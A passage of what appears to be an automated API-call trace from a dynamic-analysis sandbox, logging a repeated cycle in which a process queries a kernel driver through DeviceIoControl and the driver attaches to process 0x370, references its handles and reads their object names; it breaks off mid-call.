ObQueryNameString (in: Object=0xfffffa8003437510, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.122] ObfDereferenceObject (Object=0xfffffa8003437510) returned 0x1 [0070.122] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.122] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.122] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0070.122] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.122] PsAcquireProcessExitSynchronization () returned 0x0 [0070.122] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.122] ObReferenceObjectByHandle (in: Handle=0x798, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037852a0, HandleInformation=0x0) returned 0x0 [0070.122] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.122] PsReleaseProcessExitSynchronization () returned 0x2 [0070.122] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.122] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.122] ObfDereferenceObject (Object=0xfffffa80037852a0) returned 0x1 [0070.122] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.122] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.122] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.122] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.122] PsAcquireProcessExitSynchronization () returned 0x0 [0070.122] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.122] ObReferenceObjectByHandle (in: Handle=0x7a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800343b9c0, HandleInformation=0x0) returned 0x0 [0070.122] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.122] PsReleaseProcessExitSynchronization () returned 0x2 [0070.122] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.122] ObQueryNameString (in: Object=0xfffffa800343b9c0, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.122] ObfDereferenceObject (Object=0xfffffa800343b9c0) returned 0x1 [0070.122] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.123] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.123] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0070.123] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.123] PsAcquireProcessExitSynchronization () returned 0x0 [0070.123] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.123] ObReferenceObjectByHandle (in: Handle=0x904, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003447950, HandleInformation=0x0) returned 0x0 [0070.123] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.123] PsReleaseProcessExitSynchronization () returned 0x2 [0070.123] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.123] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.123] ObfDereferenceObject (Object=0xfffffa8003447950) returned 0x12 [0070.123] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.123] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.123] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0070.123] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.123] PsAcquireProcessExitSynchronization () returned 0x0 [0070.123] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.123] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800344bbc0, HandleInformation=0x0) returned 0x0 [0070.123] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.123] PsReleaseProcessExitSynchronization () returned 0x2 [0070.123] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.123] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800399e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.123] ObfDereferenceObject (Object=0xfffffa800344bbc0) returned 0x12 [0070.124] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.124] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.124] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0070.124] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.124] PsAcquireProcessExitSynchronization () returned 0x0 [0070.124] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.124] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800344b740, HandleInformation=0x0) returned 0x0 [0070.124] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.124] PsReleaseProcessExitSynchronization () returned 0x2 [0070.124] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.124] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800399d044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399d044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.124] ObfDereferenceObject (Object=0xfffffa800344b740) returned 0x12 [0070.124] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.124] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.124] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0070.124] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.124] PsAcquireProcessExitSynchronization () returned 0x0 [0070.124] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.124] ObReferenceObjectByHandle (in: Handle=0x910, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f80070, HandleInformation=0x0) returned 0x0 [0070.124] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.124] PsReleaseProcessExitSynchronization () returned 0x2 [0070.124] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.124] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003998044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003998044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.124] ObfDereferenceObject (Object=0xfffffa8002f80070) returned 0xd [0070.124] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.124] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.124] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0070.125] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.125] PsAcquireProcessExitSynchronization () returned 0x0 [0070.125] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.125] ObReferenceObjectByHandle (in: Handle=0x914, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f80c00, HandleInformation=0x0) returned 0x0 [0070.125] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.125] PsReleaseProcessExitSynchronization () returned 0x2 [0070.125] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.125] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.125] ObfDereferenceObject (Object=0xfffffa8002f80c00) returned 0xe [0070.125] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.125] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.125] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0070.125] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.125] PsAcquireProcessExitSynchronization () returned 0x0 [0070.125] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.125] ObReferenceObjectByHandle (in: Handle=0x93c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0070.125] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.125] PsReleaseProcessExitSynchronization () returned 0x2 [0070.125] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.125] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa800391b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800391b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.125] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0070.125] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.125] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.125] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.125] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.125] PsAcquireProcessExitSynchronization () returned 0x0 [0070.125] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.126] ObReferenceObjectByHandle (in: Handle=0x9d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002fbc4d0, HandleInformation=0x0) returned 0x0 [0070.126] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.126] PsReleaseProcessExitSynchronization () returned 0x2 [0070.126] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.126] ObQueryNameString (in: Object=0xfffffa8002fbc4d0, ObjectNameInfo=0xfffffa800397d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.126] ObfDereferenceObject (Object=0xfffffa8002fbc4d0) returned 0x1 [0070.126] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.126] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.126] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.126] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.126] PsAcquireProcessExitSynchronization () returned 0x0 [0070.126] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.126] ObReferenceObjectByHandle (in: Handle=0x9d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030b3630, HandleInformation=0x0) returned 0x0 [0070.126] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.126] PsReleaseProcessExitSynchronization () returned 0x2 [0070.126] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.126] ObQueryNameString (in: Object=0xfffffa80030b3630, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.126] ObfDereferenceObject (Object=0xfffffa80030b3630) returned 0x1 [0070.126] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.126] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.126] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.126] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.126] PsAcquireProcessExitSynchronization () returned 0x0 [0070.126] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.126] ObReferenceObjectByHandle (in: Handle=0x9dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031325c0, HandleInformation=0x0) returned 0x0 [0070.126] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.127] PsReleaseProcessExitSynchronization () returned 0x2 [0070.127] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.127] ObQueryNameString (in: Object=0xfffffa80031325c0, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.127] ObfDereferenceObject (Object=0xfffffa80031325c0) returned 0x1 [0070.127] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.127] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.127] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0070.127] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.127] PsAcquireProcessExitSynchronization () returned 0x0 [0070.127] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.127] ObReferenceObjectByHandle (in: Handle=0xa28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0070.127] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.127] PsReleaseProcessExitSynchronization () returned 0x2 [0070.127] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.127] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa8003980044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003980044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.127] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0070.127] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.127] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.127] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.127] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.127] PsAcquireProcessExitSynchronization () returned 0x0 [0070.127] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.127] ObReferenceObjectByHandle (in: Handle=0xa44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034d7bb0, HandleInformation=0x0) returned 0x0 [0070.127] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.127] PsReleaseProcessExitSynchronization () returned 0x2 [0070.127] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.127] ObQueryNameString (in: Object=0xfffffa80034d7bb0, ObjectNameInfo=0xfffffa8003981044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003981044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.127] ObfDereferenceObject (Object=0xfffffa80034d7bb0) returned 0x2 [0070.127] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.127] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.127] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0070.128] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.128] PsAcquireProcessExitSynchronization () returned 0x0 [0070.128] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.128] ObReferenceObjectByHandle (in: Handle=0xaac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003aeb2c0, HandleInformation=0x0) returned 0x0 [0070.128] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.128] PsReleaseProcessExitSynchronization () returned 0x2 [0070.128] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.128] ObQueryNameString (in: Object=0xfffffa8003aeb2c0, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.128] ObfDereferenceObject (Object=0xfffffa8003aeb2c0) returned 0x1 [0070.128] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.128] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.128] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0070.128] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.128] PsAcquireProcessExitSynchronization () returned 0x0 [0070.128] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.128] ObReferenceObjectByHandle (in: Handle=0xbc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f70ac0, HandleInformation=0x0) returned 0x0 [0070.128] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.128] PsReleaseProcessExitSynchronization () returned 0x2 [0070.128] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.128] ObQueryNameString (in: Object=0xfffffa8001f70ac0, ObjectNameInfo=0xfffffa8003983044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003983044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.128] ObfDereferenceObject (Object=0xfffffa8001f70ac0) returned 0x11 [0070.128] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.128] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.128] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, 